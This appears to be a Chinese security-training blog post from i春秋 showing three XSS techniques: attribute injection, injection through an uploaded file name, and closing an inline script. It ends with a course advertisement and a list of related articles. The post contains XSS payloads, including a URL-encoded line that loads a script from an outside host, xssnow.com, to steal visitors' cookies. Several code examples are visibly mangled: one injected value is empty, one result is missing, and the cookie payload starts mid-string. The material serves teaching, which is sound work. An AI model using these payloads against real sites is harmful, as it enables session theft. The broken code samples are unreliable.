【Web安全入门】三个技巧教你玩转XSS漏洞
XSS漏洞是Web应用程序中最常见的漏洞之一,想要入门Web安全的小伙伴,这个知识点是必学的。
i春秋官网中有很多关于XSS漏洞的课程,新手小白可以去官网看课学习。
学习地址:https://www.ichunqiu.com/search/XSS漏洞
XSS是一种经常出现在Web应用中的计算机安全漏洞,也是客户端脚本安全的头号大敌。今天i春秋跟大家分享的是XSS漏洞的进阶篇,如何利用XSS漏洞的一些小技巧,希望对大家学习Web安全有所帮助。
污染标签
简单的说,XSS漏洞的本质就是输入与输出。
比如,我的QQ网名是:
"你的网名">
结果就被污染成
<input value="">
这样的话我就成功弹窗了,但又有什么用呢?
我们可以构造语句:
<input value=""#ff0000">http%3A%2F%2Fxssnow.com%2FdZJ4%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));">
这样我们就能成功打到cookie了。
文件名称XSS
有些网站有上传点,但是后台并未对文件名做更改。
比如上传以后前端代码是这样的:
<a href="http://127.0.0.1/upload/1.rar">test</a>
1.rar假设就是我们上传的文件。
我们是不是又可以构造语句闭合或者污染标签,值得一提的是,你需要抓包改文件名(想在Windows环境下改,你去试试就知道是怎么回事了)
我们就改成:
"><script>alert(1)</script>.rar
这样的话,就变成:
成功弹窗,如果过滤了尖括号 < >
就可以按照之前讲的标签污染法,让它执行我们的JS语句。
闭合JS
有时候,JS会调用我们网站的一些资料,类似昵称。
<html>
<head>
<script>
name = sqler;
</script>
</head>
<body>
welcome sqler;
</body>
</html>
因为我们昵称是被包含在<head>里,我们无法利用。
这样我们就需要为它打开一个新大门。
</script></head><body><img src=x onerror=alert(1)>
这样我们就成功弹窗。
以上就是今天要分享的内容,是不是很简单。
XSS漏洞是Web安全入门必掌握的知识点,当然还有CSRF漏洞、Webshell与文件上传漏洞、SQL注入等等,如果想要全面系统的学习Web安全入门课程,可以到i春秋官网(ichunqiu.com/train)进行报名。
快速报名入口:https://www.ichunqiu.com/train/course/11
面向人群
信息安全小白、高等院校信息安全、网络空间安全专业学生、信息安全爱好者、Web应用开发人员。
学习方式
通过在线视频学习资源,结合实验练习,带你全方位学习Web安全。上课期间助教老师实时在互动区进行沟通答疑,若脱离上课时间可在班级内老师答疑模块中进行问题咨询留言。
学习时间
Web安全入门班每月有两次报名机会,大家可以根据自己实际情况进行相应选择,学习时间灵活,非常适合上班族的新手小白们。
课程目标
1、了解Web应用程序架构;
2、熟悉Web常见漏洞原理;
3、掌握Web基础安全漏洞利用方式与防御方法;
4、熟悉渗透测试流程;
5、熟练使用多种渗透测试工具。
课程介绍
课程以漏洞为核心,从Web应用架构、漏洞原理,利用方式与防御方法等,多方面剖析Web应用安全相关知识,并以此为基础学习渗透测试的操作流程及各阶段工作内容,熟悉渗透测试工具的使用。
课程优势
1、低门槛、易学习;
2、知识点配套实验;
3、助教老师答疑。
通过以上内容的介绍,如果还有其他疑问,欢迎大家前来咨询,我们会有更专业的老师为你讲解,给你答疑解惑。谢老师 18513200565(手机、微信同步)
【Web安全入门】三个技巧教你玩转XSS漏洞的更多相关文章
- 教你玩转XSS漏洞
什么是存储性XSS那? 通俗理解就是”xss“语句存在服务器上,可以一直被客户端浏览使用,所有登陆某一个存在”存储性xss“的页面的人,都会中招,可以是管理员,可以是普通的用户,所以他的危害是持续性的 ...
- Jmeter Web 性能测试入门 (三):Jmeter 常用组件说明
线程组:用来设置并发的数量和模式.是用来模拟用户并发的组件.JMeter 的每个任务都是用线程来处理的. 线程数:要并发的请求数量. Ramp-Up Period: 在多次时间内把这些并发的请求发送完 ...
- 通过Web安全工具Burp suite找出网站中的XSS漏洞实战(二)
一.背景 笔者6月份在慕课网录制视频教程XSS跨站漏洞 加强Web安全,里面需要讲到很多实战案例,在漏洞挖掘案例中分为了手工挖掘.工具挖掘.代码审计三部分内容,手工挖掘篇参考地址为快速找出网站中可能存 ...
- Web API 入门三(参数绑定)
学到现在,感觉到微软的.NET各种框架和模型基础大致都差不多,所以,这部分内容大致和MVC部分差不多.在学习参事绑定之前,我们肯定要知道Controller(即控制器)是啥干啥的. 其实,Contro ...
- java web开发入门三(Hibernate)基于intellig idea
Hibernate 1.开发流程 项目配置好后的结构: 1.下载源码: 版本:hibernate-distribution-3.6.0.Final 2.引入hibernate需要的开发包(3.6版本) ...
- JAVA WEB快速入门之从编写一个JSP WEB网站了解JSP WEB网站的基本结构、调试、部署
接上篇<JAVA WEB快速入门之环境搭建>,在完成了环境搭建后(JDK.Tomcat.IDE),现在是万事具备,就差写代码了,今天就来从编写一个JSP WEB网站了解JSP WEB网站的 ...
- 脑残式网络编程入门(三):HTTP协议必知必会的一些知识
本文原作者:“竹千代”,原文由“玉刚说”写作平台提供写作赞助,原文版权归“玉刚说”微信公众号所有,即时通讯网收录时有改动. 1.前言 无论是即时通讯应用还是传统的信息系统,Http协议都是我们最常打交 ...
- 网络编程懒人入门(八):手把手教你写基于TCP的Socket长连接
本文原作者:“水晶虾饺”,原文由“玉刚说”写作平台提供写作赞助,原文版权归“玉刚说”微信公众号所有,即时通讯网收录时有改动. 1.引言 好多小白初次接触即时通讯(比如:IM或者消息推送应用)时,总是不 ...
- Python Web自动化测试入门与实战,从入门到入行
Python Web自动化测试入门与实战 购买地址 · 京东:https://item.jd.com/69239480564.html 天猫:https://detail.tmall.com/it ...
随机推荐
- MySQL 时间类型 DATE、DATETIME和TIMESTAMP
1.DATE.DATETIME和TIMESTAMP 表达的时间范围 Type Range Remark DATE '1000-01-01' to '9999-12-31' 只有日期部分,没有时间部分 ...
- 2.idea安装JavaCC插件.md
eclipse中插件安装JavaCC插件请参考博客:https://blog.csdn.net/qq_29232943/article/details/62439283 接下来是在idea中安 ...
- 如何优雅地停止Spark Streaming Job
由于streaming流程序一旦运行起来,基本上是无休止的状态,除非是特殊情况,否则是不会停的.因为每时每刻都有可能在处理数据,如果要停止也需要确认当前正在处理的数据执行完毕,并且不能再接受新的数据, ...
- BayaiM__MySQL 常用函数
BayaiM__MySQL 常用函数 原创 作者:bayaim 时间:2016-06-16 09:11:13 122 0删除编辑 MySQL 常用函数 阅读(883430) | 评论(44543) ...
- ACM-ICPC 2018 焦作网络赛
题目顺序:A F G H I K L 做题链接 A. Magic Mirror 题意:判断 给出的 字符串 是否等于"jessie",需要判断大小写 题解:1.用stl库 tolo ...
- json.loads() json解码
有些json数据里面套着json 一次json.loads()后还是会有数据是json格式 { "result": { "error_code": 0, ...
- 非阻塞式I/O
套接字的默认状态是阻塞的.这就意味着当发出一个不能立即完成的套接字调用时,其进程将被投入睡眠,等待相应的操作完成.可能阻塞的套接字调用可分为以下4类 (1)输入操作,包括read,readv,recv ...
- 剑指Offer-1.二维数组中的查找(C++/Java)
题目: 在一个二维数组中(每个一维数组的长度相同),每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序.请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数. ...
- LG4051/BZOJ1031 「JSOI2007」字符加密 后缀数组
问题描述 BZOJ1031 LG4051 题解 发现这是一个环,根据经验,破环为链,于是字符环变为了字符串 之后对这个复制之后的字符串求后缀数组. $len$代表原字符串长度,代表复制后的字符串长度 ...
- 安装QTP之后造成环境变量java冲突问题的解决方案
参考:http://www.cnblogs.com/yhcreak/p/6340125.html